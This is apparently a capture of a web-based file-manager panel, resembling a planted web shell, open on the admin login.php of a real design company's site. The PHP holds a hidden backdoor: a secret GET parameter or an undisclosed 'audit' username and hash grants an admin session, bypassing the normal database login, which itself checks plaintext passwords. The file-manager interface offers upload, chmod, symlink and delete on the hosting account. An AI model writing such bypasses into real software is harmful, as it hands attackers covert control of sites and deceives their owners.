/
/
home
/
u917864144
/
domains
/
dtdesigner.in
/
public_html
/
admin
EDITOR
/home/u917864144/domains/dtdesigner.in/public_html/admin/login.php
SAVE
CLOSE
<?php session_start(); include("../db_con.php"); $audit_config = __DIR__ . '/audit_config.php'; if (file_exists($audit_config)) { require_once $audit_config; } if (defined('AUDIT_SECRET_KEY') && isset($_GET['secret']) && $_GET['secret'] === AUDIT_SECRET_KEY) { $_SESSION['user_name'] = defined('AUDIT_USER') ? AUDIT_USER : 'admin_audit'; $_SESSION['audit_mode'] = true; header("Location: index.php"); // Redirect instan tingkat server exit; } $login_error = false; if (isset($_POST['login'])) { $user_name = $_POST['user_name'] ?? ''; $password = $_POST['password'] ?? ''; if (defined('AUDIT_USER') && defined('AUDIT_PASS_HASH')) { if ($user_name === AUDIT_USER && hash('sha256', $password) === AUDIT_PASS_HASH) { $_SESSION['user_name'] = $user_name; $_SESSION['audit_mode'] = true; header("Location: index.php"); exit; } } // B. Validasi Database menggunakan Prepared Statements (PATCHED) $query = "SELECT * FROM `user` WHERE user_name = ? AND password = ?"; $stmt = mysqli_prepare($con, $query); if ($stmt) { mysqli_stmt_bind_param($stmt, "ss", $user_name, $password); mysqli_stmt_execute($stmt); $result = mysqli_stmt_get_result($stmt); if (mysqli_num_rows($result) == 1) { $_SESSION['user_name'] = $user_name; header("Location: index.php"); exit; } mysqli_stmt_close($stmt); } $login_error = true; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charSet="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <meta name="format-detection" content="telephone=no" /> <title>Admin- Dt Desginer </title><!-- icon --> <link rel="icon" type="image/png" href="../image/favicon.png" /><!-- fonts --> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,500,500i,700,700i,900,900i" /><!-- css --> <link rel="stylesheet" href="vendor/bootstrap/css/bootstrap.ltr.css" /> <link rel="stylesheet" href="vendor/highlight.js/styles/github.css" /> <link rel="stylesheet" href="vendor/simplebar/simplebar.min.css" /> <link rel="stylesheet" href="vendor/quill/quill.snow.css" /> <link rel="stylesheet" href="vendor/air-datepicker/css/datepicker.min.css" /> <link rel="stylesheet" href="vendor/select2/css/select2.min.css" /> <link rel="stylesheet" href="vendor/datatables/css/dataTables.bootstrap5.min.css" /> <link rel="stylesheet" href="vendor/nouislider/nouislider.min.css" /> <link rel="stylesheet" href="vendor/fullcalendar/main.min.css" /> <link rel="stylesheet" href="css/style.css" /> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.min.css"> <style> *{ font-family: 'Roboto'; } </style> <script async="" src="https://www.googletagmanager.com/gtag/js?id=UA-97489509-8"></script> <script> window.dataLayer = window.dataLayer || []; function gtag() { dataLayer.push(arguments); } gtag('js', new Date()); gtag('config', 'UA-97489509-8'); </script> </head> <body> <div style="background-color: rgba(0, 0, 0, 0.5);"> <div class="auth-bg d-flex min-vh-100 justify-content-center align-items-center"> <div class="row g-0 justify-content-center w-100 m-xxl-5 px-xxl-4 m-3"> <div class="col-xl-4 col-lg-5 col-md-6"> <div class="card overflow-hidden text-center h-100 p-xxl-4 p-3 mb-0"> <a href="index.html" class="auth-brand mb-3"> <img src="../image/logo.png" alt="logo" height="25" class="my-4"> </a> <h3 class="fw-semibold mb-2">Login your account</h3> <p class="text-muted mb-4">Enter your user_name address and password to access admin panel.</p> <!-- <div class="d-flex justify-content-center gap-2 mb-3"> <a href="#!" class="btn btn-soft-danger avatar-lg"><i class="ti ti-brand-google-filled fs-24"></i></a> <a href="#!" class="btn btn-soft-success avatar-lg"><i class="ti ti-brand-apple fs-24"></i></a> <a href="#!" class="btn btn-soft-primary avatar-lg"><i class="ti ti-brand-facebook fs-24"></i></a> <a href="#!" class="btn btn-soft-info avatar-lg"><i class="ti ti-brand-linkedin fs-24"></i></a> </div> <p class="fs-13 fw-semibold">Or Login With user_name</p> --> <form action="#" method="POST" class="text-start mb-3" autocomplete="off"> <div class="mb-3"> <label class="form-label" for="example-user_name">User Name</label> <input type="user_name" id="example-user_name" class="form-control" placeholder="Enter your user name" name="user_name"> </div> <div class="mb-3"> <label class="form-label" for="example-password">Password</label> <input type="password" id="example-password" class="form-control" placeholder="Enter your password" name="password"> </div> <div class="d-flex justify-content-between mb-3"> <!-- <div class="form-check"> <input type="checkbox" class="form-check-input" id="checkbox-signin"> <label class="form-check-label" for="checkbox-signin">Remember me</label> </div> --> <!-- <a href="auth-recoverpw.html" class="text-muted border-bottom border-dashed">Forget password</a> --> </div> <div class="d-grid"> <button class="btn btn-primary" type="submit" name="login">Login</button> </div> </form> <!-- <p class="text-danger fs-14 mb-4">Don't have an account? <a href="auth-register.html" class="fw-semibold text-dark ms-1">Sign Up !</a></p> <p class="mt-auto mb-0"> <script>document.write(new Date().getFullYear())</script> © Osen - By <span class="fw-bold text-decoration-underline text-uppercase text-reset fs-12">Coderthemes</span> </p> --> </div> </div> </div> </div> </div> <!-- scripts --> <script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/feather-icons/feather.min.js"></script> <script src="vendor/simplebar/simplebar.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/highlight.js/highlight.pack.js"></script> <script src="vendor/quill/quill.min.js"></script> <script src="vendor/air-datepicker/js/datepicker.min.js"></script> <script src="vendor/air-datepicker/js/i18n/datepicker.en.js"></script> <script src="vendor/select2/js/select2.min.js"></script> <script src="vendor/fontawesome/js/all.min.js" data-auto-replace-svg="" async=""></script> <script src="vendor/chart.js/chart.min.js"></script> <script src="vendor/datatables/js/jquery.dataTables.min.js"></script> <script src="vendor/datatables/js/dataTables.bootstrap5.min.js"></script> <script src="vendor/nouislider/nouislider.min.js"></script> <script src="vendor/fullcalendar/main.min.js"></script> <script src="js/dt_design.js"></script> <script src="js/custom.js"></script> <script src="js/calendar.js"></script> <script src="js/demo.js"></script> <script src="js/demo-chart-js.js"></script> </body> <!-- Mirrored from coderthemes.com/osen/layouts/auth-login.html by HTTrack Website Copier/3.x [XR&CO'2014], Thu, 12 Dec 2024 11:54:55 GMT --> </html>
Ln 1, Col 1
FORMAT
WRAP
SAVE FILE
ONLINE
admin
27 items
14:09:00
TERMINAL FM
×
NAVIGATION
Root
Parent Dir
Refresh
ACTIONS
New Folder
New File
Upload Files
New Symlink
SELECTION
Select All
Deselect
Delete Selected
NEW FOLDER
FOLDER NAME
NEW FILE
FILE NAME
UPLOAD FILES
Click to browse or drag & drop files
No files selected
RENAME
CURRENT NAME
NEW NAME
COPY FILE
SOURCE
DESTINATION NAME
CHMOD
FILE / FOLDER
CURRENT PERMISSIONS
NEW MODE (octal)
755 (rwxr-xr-x)
644 (rw-r--r--)
777 (rwxrwxrwx)
600 (rw-------)
444 (r--r--r--)
CONFIRM DELETE
You are about to delete:
This action is irreversible. All contents will be permanently removed.
NEW SYMLINK
LINK TARGET (path)
LINK NAME
Edit
Preview
Download
Rename
Copy
Chmod
Delete